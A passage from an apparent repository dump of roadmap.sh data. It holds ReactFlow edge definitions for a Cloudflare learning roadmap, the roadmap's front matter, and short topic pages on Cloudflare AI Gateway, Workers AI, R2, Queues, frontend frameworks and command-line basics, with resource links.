\"sourceHandle\": \"x2\",\n      \"target\": \"zyRgTtlng6idboSgL9YTt\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-9MlFtF1q0eis4YmCEmIirx2-zyRgTtlng6idboSgL9YTtw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zyRgTtlng6idboSgL9YTt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"G-xBbtaniYFRE9Dgs18px\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zyRgTtlng6idboSgL9YTty2-G-xBbtaniYFRE9Dgs18pxz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G-xBbtaniYFRE9Dgs18px\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"rAl7zXcODiqIpS__3qf1A\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-G-xBbtaniYFRE9Dgs18pxy2-rAl7zXcODiqIpS__3qf1Az1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rAl7zXcODiqIpS__3qf1A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yTtjbO_dji8ssSaOAKpCV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rAl7zXcODiqIpS__3qf1Ax2-yTtjbO_dji8ssSaOAKpCVw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yTtjbO_dji8ssSaOAKpCV\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"a0S0_JLwLLNGLUAHrqG4P\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yTtjbO_dji8ssSaOAKpCVx2-a0S0_JLwLLNGLUAHrqG4Pw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a0S0_JLwLLNGLUAHrqG4P\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zMwmoCUp9429_aXU-Bz4H\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-a0S0_JLwLLNGLUAHrqG4Px2-zMwmoCUp9429_aXU-Bz4Hw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"a0S0_JLwLLNGLUAHrqG4P\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NWGVtH1vxQuO4lly0Omuy\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-a0S0_JLwLLNGLUAHrqG4Pz2-vHQdMgaL2EEr2o_eJmOuVy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G-xBbtaniYFRE9Dgs18px\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EQjhRlM7zpANNWkypScIl\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-G-xBbtaniYFRE9Dgs18pxx2-EQjhRlM7zpANNWkypScIlw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NWGVtH1vxQuO4lly0Omuy\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"UIWaR1ZdjSm0UAS69Kz_5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vHQdMgaL2EEr2o_eJmOuVx2-UIWaR1ZdjSm0UAS69Kz_5w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NWGVtH1vxQuO4lly0Omuy\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LoT3NtpNj9uAgQRV-MD_E\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NWGVtH1vxQuO4lly0Omuyz2-vHQdMgaL2EEr2o_eJmOuVy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LoT3NtpNj9uAgQRV-MD_E\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zQp7XfDKWJgMf2LexRJhN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vHQdMgaL2EEr2o_eJmOuVx2-zQp7XfDKWJgMf2LexRJhNw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LoT3NtpNj9uAgQRV-MD_E\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8bOWuopxHtBWUSFaVT54P\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LoT3NtpNj9uAgQRV-MD_Ez2-8bOWuopxHtBWUSFaVT54Py1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QxPoNHsL-Pj_z3aU6qEP4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SvGk66F2HtuWcMgZ8ILII\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-QxPoNHsL-Pj_z3aU6qEP4x2-SvGk66F2HtuWcMgZ8ILIIw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aKEH4ZxI6J1nwjp_AgH5r\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-7XrG-k9T12u84Pwp4YwaYy2-aKEH4ZxI6J1nwjp_AgH5rz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8bOWuopxHtBWUSFaVT54P\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"vHQdMgaL2EEr2o_eJmOuV\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8bOWuopxHtBWUSFaVT54Px2-vHQdMgaL2EEr2o_eJmOuVw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z-1Ye5hcNdr9r6Gwdw7mv\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-lsYPD6JueIV94RybGH_Y\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-z-1Ye5hcNdr9r6Gwdw7mvx2--lsYPD6JueIV94RybGH_Yw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z-1Ye5hcNdr9r6Gwdw7mv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vu8yJsS1WccsdcEVUqwNd\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-z-1Ye5hcNdr9r6Gwdw7mvy2-vu8yJsS1WccsdcEVUqwNdz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vu8yJsS1WccsdcEVUqwNd\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qkFRW_tJB8_1IYpYskQ5M\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vu8yJsS1WccsdcEVUqwNdy2-qkFRW_tJB8_1IYpYskQ5Mz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qkFRW_tJB8_1IYpYskQ5M\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qkFRW_tJB8_1IYpYskQ5Mx2-76xovsBrKOnlRBVjsqNq1w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8IF7jftushwZrn7JXpC_v\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-8IF7jftushwZrn7JXpC_vz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uNinrB9wm5ahjGXu5fc0g\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-uNinrB9wm5ahjGXu5fc0gz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KWix4jeNUKJ07Iu95Mqj_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-KWix4jeNUKJ07Iu95Mqj_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JP5U6c2fZjtkU-Xzwtapx\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-JP5U6c2fZjtkU-Xzwtapxz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ui3pUfsGMxv4WRzHkgbF0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-ui3pUfsGMxv4WRzHkgbF0z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"INiqdtppBmCthOEXuHb-V\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-INiqdtppBmCthOEXuHb-Vz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"sXBxaQtwJ-luGVXdqVXk1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-sXBxaQtwJ-luGVXdqVXk1z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"So-cKAVfbgsw2zzFREu7Q\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1y2-So-cKAVfbgsw2zzFREu7Qz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"76xovsBrKOnlRBVjsqNq1\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"wvurOKbemF4Tt2WZcmqDL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-76xovsBrKOnlRBVjsqNq1x2-wvurOKbemF4Tt2WZcmqDLw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wvurOKbemF4Tt2WZcmqDL\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SaHqm7T4FFVrsgyfImo66\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wvurOKbemF4Tt2WZcmqDLx2-SaHqm7T4FFVrsgyfImo66w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wvurOKbemF4Tt2WZcmqDL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gsCRhwwjXuyueaYHSPOVZ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-wvurOKbemF4Tt2WZcmqDLz2-gsCRhwwjXuyueaYHSPOVZy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gsCRhwwjXuyueaYHSPOVZ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"n0vIbHmUZHrF4WjEhYdb8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-gsCRhwwjXuyueaYHSPOVZx2-n0vIbHmUZHrF4WjEhYdb8w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vHQdMgaL2EEr2o_eJmOuV\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8WZpSKBHCeYfTEL9tBNKr\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vHQdMgaL2EEr2o_eJmOuVx2-8WZpSKBHCeYfTEL9tBNKrw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8WZpSKBHCeYfTEL9tBNKr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"z-1Ye5hcNdr9r6Gwdw7mv\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8WZpSKBHCeYfTEL9tBNKrx2-z-1Ye5hcNdr9r6Gwdw7mvw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DYkdM_L7T2GcTPAoZNnURx2-0vLaVNJaJSHZ_bHli6Qzsz1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/cloudflare/cloudflare.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/cloudflare.json'\npdfUrl: '/pdfs/roadmaps/cloudflare.pdf'\norder: 21\nbriefTitle: 'Cloudflare'\nbriefDescription: 'Learn to deploy your applications on Cloudflare'\ntitle: 'Cloudflare'\ndescription: 'Learn to deploy your applications on Cloudflare'\nisNew: false\nhasTopics: true\nrenderer: editor\ndimensions:\n  width: 968\n  height: 2700\nschema:\n  headline: 'Cloudflare Roadmap'\n  description: 'Learn how to use Cloudflare with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/cloudflare.png'\n  datePublished: '2025-02-12'\n  dateModified: '2025-02-12'\nseo:\n  title: 'Cloudflare Roadmap'\n  description: 'Step by step guide to learn Cloudflare in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'cloudflare tutorial'\n    - 'step by step guide for cloudflare'\n    - 'how to learn cloudflare'\n    - 'use cloudflare in production'\n    - 'cloudflare roadmap 2025'\n    - 'learn cloudflare tools'\n    - 'guide to learning cloudflare'\n    - 'cloudflare for beginners'\n    - 'cloudflare roadmap'\n    - 'cloudflare learning path'\n    - 'cloudflare learning roadmap'\n    - 'cloudflare'\n    - 'cloudflare learning guide'\n    - 'cloudflare skills'\n    - 'cloudflare for development'\n    - 'cloudflare for development skills'\n    - 'cloudflare for development skills test'\n    - 'cloudflare quiz'\n    - 'cloudflare career path'\n    - 'cloudflare interview questions'\n    - 'learn cloudflare for development'\n    - 'become a cloudflare expert'\n    - 'what is cloudflare'\nrelatedRoadmaps:\n  - 'devops'\n  - 'backend'\n  - 'full-stack'\n  - 'javascript'\n  - 'nodejs'\n  - 'aws'\n  - 'linux'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/ai-gateway@vu8yJsS1WccsdcEVUqwNd.md",
    "content": "# AI Gateway\n\nCloudflare's AI Gateway acts as a central point for managing and optimizing your AI workloads. It provides features like caching, rate limiting, and observability for AI requests, helping you improve performance, reduce costs, and gain insights into how your AI models are being used.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare + AI](https://ai.cloudflare.com/)\n- [@official@Cloudflare AI Gateway](https://www.cloudflare.com/developer-platform/products/ai-gateway/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/ai-model-integration@QxPoNHsL-Pj_z3aU6qEP4.md",
    "content": "# AI Model Integration\n\nWorkers AI provides the ability to run AI models directly on Cloudflare's edge network for recognition tasks. This includes image recognition (identifying objects or scenes in images) and natural language understanding (analyzing text for sentiment, intent, or entities). By performing AI model recognition at the edge, you can reduce latency and improve the responsiveness of AI-powered applications.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare + AI](https://ai.cloudflare.com/)\n- [@official@Cloudflare AI Model Integration](https://developers.cloudflare.com/ai-gateway/integrations/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/ai-powered-search@Ep9_oV_YnkbH1gHM-n3gO.md",
    "content": "# AI-powered Search\n\nYou can build AI-powered search using Cloudflare Workers, Workers AI, and Vectorize.\n\n1. **Embed Data:** Use Workers AI to create vector embeddings of your data (e.g., text, images).\n2. **Store Embeddings:** Store these embeddings in Vectorize.\n3. **Search:** When a user searches, embed the search query using Workers AI and then use Vectorize to find the most similar embeddings in your database.\n4. **Return Results:** Return the corresponding data items as search results.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare + AI](https://ai.cloudflare.com/)\n- [@official@Cloudflare Agents](https://developers.cloudflare.com/agents/)\n- [@article@How to use Cloudflare Workers AI for building an AI-powered Search](https://dev.to/charlestehio/how-to-use-cloudflare-workers-ai-for-building-an-ai-powered-search-bar-51jn)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/any-frontend-framework@zSwio18XdBfqwSneAx_AP.md",
    "content": "# Any Frontend Framework\n\nSeveral frontend frameworks can be deployed on Cloudflare Pages or used with Cloudflare Workers. Popular choices include:\n\n- **React:** Deploy using Create React App or Next.js.\n- **Vue.js:** Deploy using Vue CLI or Nuxt.js.\n- **Angular:** Deploy using Angular CLI.\n- **Svelte:** Deploy using SvelteKit.\n- **Astro**: Deploy using Astro CLI.\n\nCloudflare Pages offers optimized builds and deployments for these frameworks. For Workers, you can use these frameworks to render content dynamically at the edge.\n\nVisit the following resources to learn more:\n\n- [@official@React](https://react.dev/)\n- [@official@Vue.js](https://vuejs.org/)\n- [@official@Angular](https://angular.dev/)\n- [@official@Svelte](https://svelte.dev/)\n- [@official@Astro](https://astro.build/)\n- [@official@Framework Guide](https://developers.cloudflare.com/pages/framework-guides/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/asset-management@3jU5753Uza2aS-gZo7w4k.md",
    "content": "# Asset Management\n\nCloudflare R2 can be used for efficient asset management. You can store images, videos, and other static assets in R2 and serve them directly through Cloudflare's CDN. This reduces the load on your origin server and improves website performance. R2's integration with Cloudflare Workers allows you to perform on-the-fly image transformations or other asset processing tasks at the edge. Versioning support in R2 helps manage different versions of your assets.\n\nVisit the following resources to learn more:\n\n- [@official@Use R2 as Static Asset Storage with Cloudflare Pages](https://developers.cloudflare.com/pages/tutorials/use-r2-as-static-asset-storage-for-pages/)\n- [@official@Cloudflare R2 | Zero Egress Fee Object Storage](https://www.cloudflare.com/developer-platform/products/r2/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/background-jobs@qgvDGyLjc6lMmVPjHozFM.md",
    "content": "# Background Jobs\n\nCloudflare Queues are ideal for handling background jobs. Instead of performing time-consuming tasks directly within a request/response cycle, you can enqueue a message describing the task. A separate Worker, acting as a consumer, then processes these messages in the background. This improves the responsiveness of your application and allows you to handle tasks like image processing, sending emails, or data analysis without blocking user requests.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Queues](https://developers.cloudflare.com/queues/)\n- [@article@Dispatched | Background Jobs for Serverless Applications](https://dispatched.dev/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/basic-command-line-knowledge@q9oQTt_NqhdWvJfA5XH1V.md",
    "content": "# Basic Command-line Knowledge\n\nKnowing basic command-line commands is a must-have, not when working with Cloudflare but also as a developer. Learn the basics of navigating directories, file management, text editing, package management etc.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/)\n- [@article@Command-line Primer for Beginners](https://lifehacker.com/a-command-line-primer-for-beginners-5633909)\n- [@article@Command Line for Beginners](https://thelinuxcode.com/command-line-for-beginners-how-to-use-the-terminal-like-a-pro/)"
  },
  {
